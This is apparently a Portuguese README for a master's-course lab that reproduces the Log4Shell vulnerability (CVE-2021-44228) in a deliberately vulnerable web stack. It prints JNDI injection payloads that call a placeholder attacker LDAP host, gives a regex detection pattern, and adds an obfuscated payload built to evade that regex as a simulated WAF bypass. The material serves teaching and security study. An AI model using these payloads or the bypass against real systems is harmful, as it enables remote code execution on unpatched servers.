
Prova de Conceito para a vulnerabilidade Log4Shell (CVE-2021-44228), desenvolvida como parte do trabalho da unidade curricular TPAS no Mestrado em Segurança da Informação da FCUP.
Este repositório contém uma Prova de Conceito (PoC) para a vulnerabilidade Log4Shell (CVE-2021-44228), desenvolvida como parte do trabalho da unidade curricular TPAS no Mestrado em Segurança Informática na FCUP.
Ele apresenta:
Para executar esta stack você precisa de:
Quando tudo estiver a correr:
Coloque este payload na barra de pesquisa (codificado em URL, pois estará num parâmetro de consulta GET):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
Ou coloque este payload nos cabeçalhos de um pedido (pode usar o burp suite para intercetar um pedido e adulterá-lo):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
No site, existe um ícone junto ao nome do utilizador que permite alternar entre sanitizar a string registada usando a expressão regular \$\{jndi:.*?} ou não. Por predefinição, a sanitização está desativada, representada por um ícone de demónio vermelho. Quando a sanitização está ativada, o ícone muda para uma carinha sorridente verde.
Esta funcionalidade pode ser usada como forma de simular um bypass de WAF; pode adicionar mais expressões regulares na classe LoggerManager.java do backend.
Aqui está um payload que não será correspondido pela expressão regular atual:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}